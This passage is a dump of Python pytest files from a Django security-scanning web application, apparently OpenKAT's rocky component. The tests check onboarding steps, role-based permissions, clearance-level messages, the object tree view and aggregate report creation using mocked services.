    "content": "from unittest.mock import ANY, call\n\nfrom django.urls import resolve, reverse\nfrom pytest_django.asserts import assertContains\n\nfrom octopoes.models import Reference\nfrom octopoes.models.tree import ReferenceTree\nfrom rocky.views.ooi_tree import OOITreeView\nfrom tests.conftest import setup_request\n\nTREE_DATA = {\n    \"root\": {\n        \"reference\": \"Finding|Network|testnetwork|KAT-000\",\n        \"children\": {\"ooi\": [{\"reference\": \"Network|testnetwork\", \"children\": {}}]},\n    },\n    \"store\": {\n        \"Network|testnetwork\": {\"object_type\": \"Network\", \"primary_key\": \"Network|testnetwork\", \"name\": \"testnetwork\"},\n        \"Finding|Network|testnetwork|KAT-000\": {\n            \"object_type\": \"Finding\",\n            \"primary_key\": \"Finding|Network|testnetwork|KAT-000\",\n            \"ooi\": \"Network|testnetwork\",\n            \"finding_type\": \"KATFindingType|KAT-000\",\n        },\n    },\n}\n\n\ndef test_ooi_tree(rf, client_member, mock_organization_view_octopoes):\n    mock_organization_view_octopoes().get_tree.return_value = ReferenceTree.model_validate(TREE_DATA)\n\n    request = setup_request(rf.get(\"ooi_tree\", {\"ooi_id\": \"Network|testnetwork\", \"view\": \"table\"}), client_member.user)\n    request.resolver_match = resolve(reverse(\"ooi_tree\", kwargs={\"organization_code\": client_member.organization.code}))\n    response = OOITreeView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    mock_organization_view_octopoes().get_tree.assert_has_calls(\n        [\n            call(Reference(\"Network|testnetwork\"), valid_time=ANY, depth=2, with_scan_profiles=True, types=[]),\n            call(Reference(\"Network|testnetwork\"), valid_time=ANY, depth=9, with_scan_profiles=False, types=[]),\n        ]\n    )\n\n    assertContains(response, \"testnetwork\")\n    assertContains(response, \"KAT-000\")\n\n    assertContains(response, \"?view=table\")\n    assertContains(response, \"?view=condensed\")\n"
  },
  {
    "path": "rocky/tests/onboarding/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/tests/onboarding/test_onboarding.py",
    "content": "import pytest\nfrom django.core.exceptions import PermissionDenied\nfrom django.test import Client\nfrom django.urls import reverse\nfrom httpx import HTTPError\nfrom onboarding.view_helpers import DNS_REPORT_LEAST_CLEARANCE_LEVEL\nfrom onboarding.views import (\n    OnboardingAcknowledgeClearanceLevelView,\n    OnboardingChooseReportTypeView,\n    OnboardingClearanceLevelIntroductionView,\n    OnboardingCreateReportRecipe,\n    OnboardingIntroductionRegistrationView,\n    OnboardingOrganizationSetupView,\n    OnboardingOrganizationUpdateView,\n    OnboardingReportView,\n    OnboardingSetClearanceLevelView,\n    OnboardingSetupScanOOIAddView,\n    OnboardingSetupScanSelectPluginsView,\n)\nfrom pytest_django.asserts import assertContains, assertNotContains\n\nfrom tests.conftest import setup_request\n\n\ndef test_onboarding_redirect(rf, superuser):\n    \"\"\"\n    Make a request through the Django middleware to see if we get redirected to\n    the onboarding flow when logging in as superuser.\n    \"\"\"\n    c = Client()\n    login = c.force_login(superuser)\n    print(login)\n    response = c.get(\"/\")\n    print(response)\n    assert response.status_code == 302\n    assert response.headers[\"Location\"] == reverse(\"step_1_introduction_registration\")\n\n\ndef test_step_1_onboarding_introduction(superuser_member, rf):\n    response = OnboardingIntroductionRegistrationView.as_view()(\n        setup_request(rf.get(\"step_1_introduction_registration\"), superuser_member.user),\n        organization_code=superuser_member.organization.code,\n    )\n\n    assert response.status_code == 200\n    assertContains(response, \"Welcome to OpenKAT\")\n    assertContains(response, \"Let's get started\")\n\n\n@pytest.mark.parametrize(\"member\", [\"admin_member\", \"redteam_member\", \"client_member\"])\ndef test_step_1_onboarding_introduction_forbidden(request, member, rf):\n    member = request.getfixturevalue(member)\n\n    with pytest.raises(PermissionDenied):\n        OnboardingIntroductionRegistrationView.as_view()(\n            setup_request(rf.get(\"step_1_introduction_registration\"), member.user),\n            organization_code=member.organization.code,\n        )\n\n\ndef test_step_2a_onboarding_create_organization(rf, superuser_member, mock_models_katalogus):\n    request = setup_request(\n        rf.post(\"step_2a_organization_setup\", {\"name\": \"Test Organization\", \"code\": \"test\"}), superuser_member.user\n    )\n    mock_models_katalogus().organization_exists.return_value = False\n\n    response = OnboardingOrganizationSetupView.as_view()(request)\n    assert response.status_code == 200\n    assertContains(response, \"Test Organization\")\n\n\n@pytest.mark.parametrize(\"member\", [\"admin_member\", \"redteam_member\", \"client_member\"])\ndef test_step_2a_onboarding_create_organization_forbidden(request, rf, member, mock_models_katalogus):\n    member = request.getfixturevalue(member)\n\n    request = setup_request(\n        rf.post(\"step_2a_organization_setup\", {\"name\": \"Test Organization\", \"code\": \"test\"}), member.user\n    )\n    mock_models_katalogus().organization_exists.return_value = False\n\n    with pytest.raises(PermissionDenied):\n        OnboardingOrganizationSetupView.as_view()(request)\n\n\ndef test_step_2a_onboarding_create_organization_already_exist_katalogus(\n    rf, superuser, mock_katalogus_client, mock_models_octopoes, mocker\n):\n    mocker.patch(\"katalogus.client.KATalogusClient\")\n    mocker.patch(\"rocky.signals.OctopoesAPIConnector\")\n    mocker.patch(\"crisis_room.management.commands.dashboards.scheduler_client\")\n    mocker.patch(\"crisis_room.management.commands.dashboards.get_bytes_client\")\n    request = setup_request(\n        rf.post(\"step_2a_organization_setup\", {\"name\": \"Test Organization\", \"code\": \"test\"}), superuser\n    )\n\n    mock_katalogus_client().organization_exists.return_value = True\n    mock_katalogus_client().create_organization.side_effect = HTTPError(\"\")\n\n    response = OnboardingOrganizationSetupView.as_view()(request)\n    assert response.status_code == 302\n    assert response.headers[\"Location\"] == reverse(\"step_3_indemnification_setup\", kwargs={\"organization_code\": \"test\"})\n\n\ndef test_step_2b_onboarding_organization_update(rf, superuser_member, admin_member, redteam_member, client_member):\n    response_superuser = OnboardingOrganizationUpdateView.as_view()(\n        setup_request(rf.get(\"step_2b_organization_setup\"), superuser_member.user),\n        organization_code=superuser_member.organization.code,\n    )\n    response_admin = OnboardingOrganizationUpdateView.as_view()(\n        setup_request(rf.get(\"step_2b_organization_setup\"), admin_member.user),\n        organization_code=admin_member.organization.code,\n    )\n\n    # Only superusers and admins can update/edt/change organizations\n    assert response_superuser.status_code == 200\n    assert response_admin.status_code == 200\n\n    with pytest.raises(PermissionDenied):\n        OnboardingOrganizationUpdateView.as_view()(\n            setup_request(rf.get(\"step_2b_organization_setup\"), redteam_member.user),\n            organization_code=redteam_member.organization.code,\n        )\n\n    with pytest.raises(PermissionDenied):\n        OnboardingOrganizationUpdateView.as_view()(\n            setup_request(rf.get(\"step_2b_organization_setup\"), client_member.user),\n            organization_code=client_member.organization.code,\n        )\n\n\ndef test_step_4_onboarding_acknowledge_clearance_level(rf, redteam_member, mock_organization_view_octopoes, url):\n    response = OnboardingAcknowledgeClearanceLevelView.as_view()(\n        setup_request(\n            rf.get(\"step_4_trusted_acknowledge_clearance_level\", {\"ooi\": url.primary_key}), redteam_member.user\n        ),\n        organization_code=redteam_member.organization.code,\n    )\n\n    assert response.status_code == 200\n    assertContains(response, \"Onboarding\")\n    assertContains(response, \"User clearance level\")\n    assertContains(response, \"Trusted clearance level\")\n    assertContains(response, \"Accepted clearance level\")\n    assertContains(response, \"What is my clearance level?\")\n    assertContains(response, \"Continue\")\n    assertContains(response, \"Skip onboarding\")\n    assertContains(\n        response,\n        \"Your administrator has <strong>trusted</strong> you with a clearance level of <strong>L\"\n        + str(redteam_member.trusted_clearance_level)\n        + \"</strong>.\",\n    )\n    (\n        \"You have also <strong>acknowledged</strong> to use this clearance level of <strong>L\"\n        + str(redteam_member.acknowledged_clearance_level)\n        + \"</strong>.\"\n    )\n\n    redteam_member.trusted_clearance_level = 2\n    redteam_member.acknowledged_clearance_level = -1\n    redteam_member.save()\n\n    response_accept = OnboardingAcknowledgeClearanceLevelView.as_view()(\n        setup_request(\n            rf.get(\"step_4_trusted_acknowledge_clearance_level\", {\"ooi\": url.primary_key}), redteam_member.user\n        ),\n        organization_code=redteam_member.organization.code,\n    )\n\n    assertContains(\n        response_accept,\n        \"Your administrator has trusted you with a clearance level of <strong>L\"\n        + str(redteam_member.trusted_clearance_level)\n        + \"</strong>.\",\n    )\n    assertContains(response_accept, \"You must first accept this clearance level to continue.\")\n\n\n@pytest.mark.parametrize(\"clearance_level\", [-1, 0])\ndef test_step_4_onboarding_acknowledge_clearance_level_no_clearance(\n    rf, redteam_member, clearance_level, mock_organization_view_octopoes, url\n):\n    response = OnboardingAcknowledgeClearanceLevelView.as_view()(\n        setup_request(\n            rf.get(\"step_4_trusted_acknowledge_clearance_level\", {\"ooi\": url.primary_key}), redteam_member.user\n        ),\n        organization_code=redteam_member.organization.code,\n    )\n\n    assert response.status_code == 200\n    redteam_member.trusted_clearance_level = clearance_level\n    redteam_member.acknowledged_clearance_level = clearance_level\n    redteam_member.save()\n\n    response = OnboardingAcknowledgeClearanceLevelView.as_view()(\n        setup_request(\n            rf.get(\"step_4_trusted_acknowledge_clearance_level\", {\"ooi\": url.primary_key}), redteam_member.user\n        ),\n        organization_code=redteam_member.organization.code,\n    )\n    assertContains(response, \"Unfortunately you cannot continue the onboarding.\")\n    assertContains(\n        response,\n        \"Your administrator has trusted you with a clearance level of <strong>L\" + str(clearance_level) + \"</strong>.\",\n    )\n    assertContains(\n        response,\n        \"You need at least a clearance level of <strong>L\"\n        + str(DNS_REPORT_LEAST_CLEARANCE_LEVEL)\n        + \"</strong> to scan <strong>\"\n        + url.primary_key\n        + \"</strong>\",\n    )\n    assertContains(response, \"Contact your administrator to receive a higher clearance.\")\n\n    assertContains(response, \"Skip onboarding\")\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"admin_member\", \"redteam_member\", \"client_member\"])\ndef test_step_5_onboarding_setup_scan_detail(request, member, rf):\n    member = request.getfixturevalue(member)\n\n    response = OnboardingSetupScanOOIAddView.as_view()(\n        setup_request(rf.get(\"step_setup_scan_ooi_add\", {\"report_type\": \"dns-report\"}), member.user),\n        ooi_type=\"URL\",\n        organization_code=member.organization.code,\n    )\n\n    assert response.status_code == 200\n\n    assertContains(response, \"Onboarding\")\n    assertContains(response, \"Plugins\")\n    assertContains(response, \"Add an object\")\n    assertContains(response, \"Related objects\")\n    assertContains(response, \"Skip onboarding\")\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"admin_member\", \"redteam_member\", \"client_member\"])\ndef test_step_5_onboarding_setup_scan_detail_create_ooi(\n    request, member, rf, mock_organization_view_octopoes, url, mock_bytes_client\n):\n    member = request.getfixturevalue(member)\n\n    response = OnboardingSetupScanOOIAddView.as_view()(\n        setup_request(rf.post(\"step_setup_scan_ooi_add\", {\"url\": url.raw}), member.user),\n        ooi_type=\"URL\",\n        organization_code=member.organization.code,\n    )\n\n    assert response.status_code == 302\n\n\ndef test_step_6_onboarding_set_clearance_level(\n    rf, superuser_member, admin_member, redteam_member, client_member, mock_organization_view_octopoes, url\n):\n    response_superuser = OnboardingSetClearanceLevelView.as_view()(\n        setup_request(rf.get(\"step_6_set_clearance_level\", {\"ooi\": url.primary_key}), superuser_member.user),\n        organization_code=superuser_member.organization.code,\n    )\n    response_redteam = OnboardingSetClearanceLevelView.as_view()(\n        setup_request(rf.get(\"step_6_set_clearance_level\", {\"ooi\": url.primary_key}), redteam_member.user),\n        organization_code=redteam_member.organization.code,\n    )\n\n    assert response_redteam.status_code == 200\n    assert response_superuser.status_code == 200\n\n    assertContains(response_redteam, \"Onboarding\")\n    assertContains(response_redteam, \"Set object clearance level\")\n    assertContains(response_redteam, \"Skip onboarding\")\n    assertContains(response_redteam, \"Set clearance level\")\n\n    with pytest.raises(PermissionDenied):\n        OnboardingSetClearanceLevelView.as_view()(\n            setup_request(rf.get(\"step_6_set_clearance_level\", {\"ooi\": url.primary_key}), admin_member.user),\n            organization_code=admin_member.organization.code,\n        )\n    with pytest.raises(PermissionDenied):\n        OnboardingSetClearanceLevelView.as_view()(\n            setup_request(rf.get(\"step_6_set_clearance_level\", {\"ooi\": url.primary_key}), client_member.user),\n            organization_code=client_member.organization.code,\n        )\n\n\ndef test_step_7_onboarding_clearance_level_introduction(rf, redteam_member, mock_organization_view_octopoes, url):\n    response = OnboardingClearanceLevelIntroductionView.as_view()(\n        setup_request(rf.get(\"step_clearance_level_introduction\", {\"ooi\": url.primary_key}), redteam_member.user),\n        organization_code=redteam_member.organization.code,\n    )\n\n    assert response.status_code == 200\n    assertContains(response, \"Onboarding\")\n    assertContains(response, \"Plugin introduction\")\n    assertContains(response, \"Fierce\")\n    assertContains(response, \"DNS-Zone\")\n    assertContains(response, \"Skip onboarding\")\n    assertContains(response, \"Continue\")\n\n    assertNotContains(response, '<div class=\"action-buttons\">', html=True)\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"redteam_member\"])\ndef test_step_8_onboarding_select_plugins(request, member, rf, mocker, mock_organization_view_octopoes, url):\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    member = request.getfixturevalue(member)\n    request = setup_request(rf.get(\"step_setup_scan_select_plugins\", {\"ooi\": url.primary_key}), member.user)\n\n    response = OnboardingSetupScanSelectPluginsView.as_view()(request, organization_code=member.organization.code)\n\n    assert response.status_code == 200\n\n    assertContains(response, \"Enabling plugins and start scanning\")\n    assertContains(response, \"Boefjes\")\n    assertContains(response, \"Normalizers\")\n    assertContains(response, \"Bits\")\n    assertContains(response, \"Skip onboarding\")\n    assertContains(response, \"Enable and continue\")\n\n\n@pytest.mark.parametrize(\"member\", [\"admin_member\", \"client_member\"])\ndef test_step_8_onboarding_select_plugins_perms(request, member, rf, url):\n    member = request.getfixturevalue(member)\n\n    request = setup_request(rf.get(\"step_setup_scan_select_plugins\", {\"ooi\": url.primary_key}), member.user)\n\n    with pytest.raises(PermissionDenied):\n        OnboardingSetupScanSelectPluginsView.as_view()(request, organization_code=member.organization.code)\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"admin_member\", \"redteam_member\", \"client_member\"])\ndef test_step_9_onboarding_choose_report_type(request, member, rf):\n    member = request.getfixturevalue(member)\n    response = OnboardingChooseReportTypeView.as_view()(\n        setup_request(rf.get(\"step_choose_report_type\"), member.user), organization_code=member.organization.code\n    )\n\n    assert response.status_code == 200\n    assertContains(response, \"Onboarding\")\n    assertContains(response, \"Skip onboarding\")\n    assertContains(response, \"Generate DNS Report\")\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"admin_member\", \"redteam_member\", \"client_member\"])\ndef test_step_9a_onboarding_ooi_detail_scan(\n    request, mocker, member, mock_bytes_client, rf, mock_organization_view_octopoes, url\n):\n    member = request.getfixturevalue(member)\n\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    mocker.patch(\"crisis_room.management.commands.dashboards.scheduler_client\")\n    mock_organization_view_octopoes().get.return_value = url\n    mock_bytes_client().upload_raw.return_value = \"raw_id\"\n\n    response = OnboardingCreateReportRecipe.as_view()(\n        setup_request(rf.get(\"step_9a_setup_scan_ooi_detail\", {\"ooi\": url.primary_key}), member.user),\n        organization_code=member.organization.code,\n    )\n\n    assert response.status_code == 200\n\n    assertContains(response, \"Onboarding\")\n    assertContains(response, \"Generate a report\")\n    assertContains(response, \"Skip onboarding\")\n    assertContains(response, \"Generate DNS Report\")\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"admin_member\", \"redteam_member\", \"client_member\"])\ndef test_step_9a_onboarding_ooi_detail_scan_create_report_schedule(\n    request, mocker, member, mock_scheduler, mock_bytes_client, rf, mock_organization_view_octopoes, url\n):\n    member = request.getfixturevalue(member)\n\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    mocker.patch(\"crisis_room.management.commands.dashboards.scheduler_client\")\n    mock_organization_view_octopoes().get.return_value = url\n    mock_bytes_client().upload_raw.return_value = \"raw_id\"\n\n    request_url = (\n        reverse(\"step_9a_setup_scan_ooi_detail\", kwargs={\"organization_code\": member.organization.code})\n        + f\"?report_type=dns-report&ooi={url.primary_key}\"\n    )\n\n    response = OnboardingCreateReportRecipe.as_view()(\n        setup_request(rf.post(request_url), member.user), organization_code=member.organization.code\n    )\n\n    assert response.status_code == 302\n    assert \"recipe_id\" in response.url\n\n\n@pytest.mark.parametrize(\"member\", [\"superuser_member\", \"admin_member\", \"redteam_member\", \"client_member\"])\ndef test_step_10_onboarding_scanning_boefjes(\n    request, member, rf, mock_organization_view_octopoes, url, mocker, mock_bytes_client\n):\n    member = request.getfixturevalue(member)\n\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    mock_organization_view_octopoes().get.return_value = url\n    mock_bytes_client().upload_raw.return_value = \"raw_id\"\n\n    request_url = (\n        reverse(\"step_10_report\", kwargs={\"organization_code\": member.organization.code})\n        + f\"?report_type=dns-report&ooi={url.primary_key}\"\n    )\n\n    response = OnboardingReportView.as_view()(\n        setup_request(rf.post(request_url), member.user), organization_code=member.organization.code\n    )\n\n    assert response.status_code == 302\n"
  },
  {
    "path": "rocky/tests/reports/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/tests/reports/test_aggregate_report_flow.py",
    "content": "import json\n\nfrom pytest_django.asserts import assertContains\nfrom reports.views.aggregate_report import (\n    OOISelectionAggregateReportView,\n    ReportTypesSelectionAggregateReportView,\n    SaveAggregateReportView,\n    SetupScanAggregateReportView,\n)\nfrom reports.views.base import ViewReportView\n\nfrom octopoes.models.pagination import Paginated\nfrom octopoes.models.types import OOIType\nfrom tests.conftest import get_aggregate_report_data, setup_request\n\n\ndef test_select_all_oois_post_to_select_report_types(\n    rf, client_member, valid_time, mock_organization_view_octopoes, listed_hostnames\n):\n    \"\"\"\n    Will send the selected oois to the report type selection page.\n    \"\"\"\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    request = setup_request(\n        rf.post(\n            \"aggregate_report_select_report_types\",\n            {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\"), \"ooi\": listed_hostnames},\n        ),\n        client_member.user,\n    )\n\n    response = ReportTypesSelectionAggregateReportView.as_view()(\n        request, organization_code=client_member.organization.code\n    )\n\n    assert response.status_code == 200\n    total_objects = str(len(listed_hostnames))\n    assertContains(response, f\"You have selected {total_objects} objects in the previous step.\")\n\n\ndef test_select_some_oois_post_to_select_report_types(\n    rf, client_member, valid_time, mock_organization_view_octopoes, listed_hostnames\n):\n    \"\"\"\n    Will send the selected oois to the report type selection page.\n    \"\"\"\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    ooi_pks = [hostname.primary_key for hostname in listed_hostnames]\n    selection = ooi_pks[0:2]\n\n    request = setup_request(\n        rf.post(\n            \"aggregate_report_select_report_types\", {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\"), \"ooi\": selection}\n        ),\n        client_member.user,\n    )\n\n    response = ReportTypesSelectionAggregateReportView.as_view()(\n        request, organization_code=client_member.organization.code\n    )\n\n    assert response.status_code == 200\n\n    total_objects = str(len(selection))\n\n    assertContains(response, f\"You have selected {total_objects} objects in the previous step.\")\n\n\ndef test_select_query_post_to_select_report_types(\n    rf, client_member, valid_time, mock_organization_view_octopoes, listed_hostnames\n):\n    \"\"\"\n    Will send the query to the report type selection page.\n    \"\"\"\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    request = setup_request(\n        rf.post(\n            \"aggregate_report_select_report_types\",\n            {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\"), \"object_selection\": \"query\"},\n        ),\n        client_member.user,\n    )\n\n    response = ReportTypesSelectionAggregateReportView.as_view()(\n        request, organization_code=client_member.organization.code\n    )\n\n    assert response.status_code == 200\n    assert response.context_data[\"selected_oois\"] == []\n\n    assertContains(response, \"You have selected a live set in the previous step.\")\n    assertContains(response, \"this live set results in 0 objects.\")\n\n\ndef test_change_ooi_selection_for_none_selection(\n    rf, client_member, valid_time, mock_organization_view_octopoes, listed_hostnames\n):\n    \"\"\"\n    Will send the selected oois to the report type selection page.\n    \"\"\"\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    request = setup_request(\n        rf.post(\"aggregate_report_select_oois\", {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\")}), client_member.user\n    )\n\n    response = OOISelectionAggregateReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assert response.context_data[\"selected_oois\"] == []\n    assert list(request._messages)[0].message == \"Select at least one OOI to proceed.\"\n\n\ndef test_change_ooi_selection_with_ooi_selection(\n    rf, client_member, valid_time, mock_organization_view_octopoes, listed_hostnames\n):\n    \"\"\"\n    Will send the selected oois to the report type selection page.\n    \"\"\"\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    ooi_pks = [hostname.primary_key for hostname in listed_hostnames]\n    selection = ooi_pks[0:2]\n\n    request = setup_request(\n        rf.post(\"aggregate_report_select_oois\", {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\"), \"ooi\": selection}),\n        client_member.user,\n    )\n\n    response = OOISelectionAggregateReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n\n    oois_fetched_from_post = response.context_data[\"selected_oois\"]\n\n    assert len(oois_fetched_from_post) == 2\n\n\ndef test_report_types_selection_nothing_selected(\n    rf, client_member, valid_time, mock_organization_view_octopoes, mock_katalogus_client, listed_hostnames\n):\n    \"\"\"\n    Will send the selected report types to the configuration page (set plugins).\n    \"\"\"\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    request = setup_request(\n        rf.post(\"aggregate_report_setup_scan\", {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\")}), client_member.user\n    )\n\n    response = SetupScanAggregateReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 307\n    assert list(request._messages)[0].message == \"Select at least one report type to proceed.\"\n\n\ndef test_report_types_selection(\n    rf,\n    client_member,\n    valid_time,\n    mock_organization_view_octopoes,\n    listed_hostnames,\n    mocker,\n    boefje_dns_records,\n    boefje_nmap_tcp,\n    rocky_health,\n    mock_bytes_client,\n):\n    \"\"\"\n    Will send the selected report types to the configuration page (set plugins).\n    \"\"\"\n\n    katalogus_mocker = mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    katalogus_mocker.get_plugins.return_value = [boefje_dns_records, boefje_nmap_tcp]\n\n    rocky_health_mocker = mocker.patch(\"reports.report_types.aggregate_organisation_report.report.get_rocky_health\")()\n    rocky_health_mocker.return_value = rocky_health\n\n    mock_bytes_client().upload_raw.return_value = \"Report|e821aaeb-a6bd-427f-b064-e46837911a5d\"\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    request = setup_request(\n        rf.post(\n            \"aggregate_report_setup_scan\",\n            {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\"), \"report_type\": [\"dns-report\", \"systems-report\"]},\n        ),\n        client_member.user,\n    )\n\n    response = SetupScanAggregateReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 307  # if all plugins are enabled the view will auto redirect to generate report\n\n    # Redirect to export setup\n    assert response.headers[\"Location\"] == \"/en/test/reports/aggregate-report/export-setup/?\"\n\n\ndef test_save_aggregate_report_view(\n    rf,\n    client_member,\n    valid_time,\n    mock_organization_view_octopoes,\n    listed_hostnames,\n    rocky_health,\n    mocker,\n    boefje_dns_records,\n    mock_bytes_client,\n):\n    \"\"\"\n    Will send data through post to aggregate report and immediately creates a report (not scheduled).\n    \"\"\"\n\n    katalogus_mocker = mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    katalogus_mocker.get_plugins.return_value = [boefje_dns_records]\n\n    rocky_health_mocker = mocker.patch(\"reports.report_types.aggregate_organisation_report.report.get_rocky_health\")()\n    rocky_health_mocker.return_value = rocky_health\n\n    mock_bytes_client().upload_raw.return_value = \"Report|e821aaeb-a6bd-427f-b064-e46837911a5d\"\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    request = setup_request(\n        rf.post(\n            \"aggregate_report_save\",\n            {\n                \"observed_at\": valid_time.strftime(\"%Y-%m-%d\"),\n                \"ooi\": listed_hostnames,\n                \"report_type\": [\"systems-report\", \"dns-report\"],\n                \"start_date\": \"2024-01-01\",\n                \"start_time\": \"10:10\",\n                \"recurrence\": \"once\",\n                \"parent_report_name_format\": \"${report_type} for ${oois_count} objects\",\n            },\n        ),\n        client_member.user,\n    )\n\n    response = SaveAggregateReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 302  # after post follows redirect, this to first create report ID\n    assert \"/reports/scheduled-reports/\" in response.url\n\n\ndef test_save_aggregate_report_view_scheduled(\n    rf,\n    client_member,\n    valid_time,\n    mock_organization_view_octopoes,\n    listed_hostnames,\n    rocky_health,\n    mocker,\n    boefje_dns_records,\n    mock_bytes_client,\n):\n    \"\"\"\n    Will send data through post to aggregate report and creates a scheduled aggregate report.\n    \"\"\"\n\n    katalogus_mocker = mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    katalogus_mocker.get_plugins.return_value = [boefje_dns_records]\n\n    rocky_health_mocker = mocker.patch(\"reports.report_types.aggregate_organisation_report.report.get_rocky_health\")()\n    rocky_health_mocker.return_value = rocky_health\n\n    mock_bytes_client().upload_raw.return_value = \"Report|1730b72f-b115-412e-ad44-dae6ab3edff9\"\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    request = setup_request(\n        rf.post(\n            \"aggregate_report_save\",\n            {\n                \"observed_at\": valid_time.strftime(\"%Y-%m-%d\"),\n                \"ooi\": listed_hostnames,\n                \"report_type\": [\"systems-report\", \"vulnerability-report\"],\n                \"start_date\": \"2024-01-01\",\n                \"start_time\": \"10:10\",\n                \"recurrence\": \"once\",\n                \"parent_report_name_format\": \"${report_type} for ${oois_count} object(s)\",\n            },\n        ),\n        client_member.user,\n    )\n\n    response = SaveAggregateReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 302  # after post follows redirect, this to first create report ID\n    assert response.url == f\"/en/{client_member.organization.code}/reports/scheduled-reports/\"\n\n\ndef test_json_download_aggregate_report(\n    rf,\n    client_member,\n    get_aggregate_report_ooi,\n    get_aggregate_report_from_bytes,\n    mock_organization_view_octopoes,\n    mock_bytes_client,\n    mock_katalogus_client,\n):\n    mock_organization_view_octopoes().get_report.return_value = get_aggregate_report_ooi\n    mock_bytes_client().get_raws.return_value = [\n        (\"7b305f0d-c0a7-4ad5-af1e-31f81fc229c2\", get_aggregate_report_from_bytes)\n    ]\n\n    request = setup_request(\n        rf.get(\"view_report_json\", {\"json\": \"true\", \"report_id\": f\"{get_aggregate_report_ooi.primary_key}\"}),\n        client_member.user,\n    )\n\n    json_response = ViewReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert json_response.status_code == 200\n\n    json_response_data = json.dumps(json.loads(json_response.content))\n    json_compare_data = json.dumps(get_aggregate_report_data())\n\n    assert json_response_data == json_compare_data\n"
  },
  {
    "path": "rocky/tests/reports/test_base_report.py",
    "content": "from django.urls import resolve, reverse\nfrom pytest_django.asserts import assertContains\nfrom reports.views.aggregate_report import OOISelectionAggregateReportView, ReportTypesSelectionAggregateReportView\n\nfrom octopoes.models.pagination import Paginated\nfrom octopoes.models.types import OOIType\nfrom tests.conftest import setup_request\n\n\ndef test_aggregate_report_select_oois(rf, client_member, mock_organization_view_octopoes, mocker, listed_hostnames):\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"aggregate_report_select_oois\", kwargs=kwargs)\n    request = rf.get(url)\n    request.resolver_match = resolve(url)\n\n    setup_request(request, client_member.user)\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    response = OOISelectionAggregateReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assert mock_organization_view_octopoes().list_objects.call_count == 1\n\n    assertContains(response, \"Showing \" + str(len(listed_hostnames)) + \" of \" + str(len(listed_hostnames)) + \" objects\")\n    assertContains(response, \"Hostname\")\n    assertContains(response, \"example.com\")\n\n\ndef test_aggregate_report_select_oois_empty_list(\n    rf, client_member, mock_organization_view_octopoes, mocker, listed_hostnames\n):\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"aggregate_report_select_oois\", kwargs=kwargs)\n    request = rf.get(url)\n    request.resolver_match = resolve(url)\n\n    setup_request(request, client_member.user)\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=[]\n    )\n\n    response = OOISelectionAggregateReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assertContains(response, \"Report(s) may be empty due to no objects in the selected filters.\")\n\n\ndef test_aggregate_report_choose_report_types(\n    rf, client_member, mock_organization_view_octopoes, mocker, listed_hostnames, valid_time\n):\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"aggregate_report_select_report_types\", kwargs=kwargs)\n\n    request = rf.post(url, {\"observed_at\": 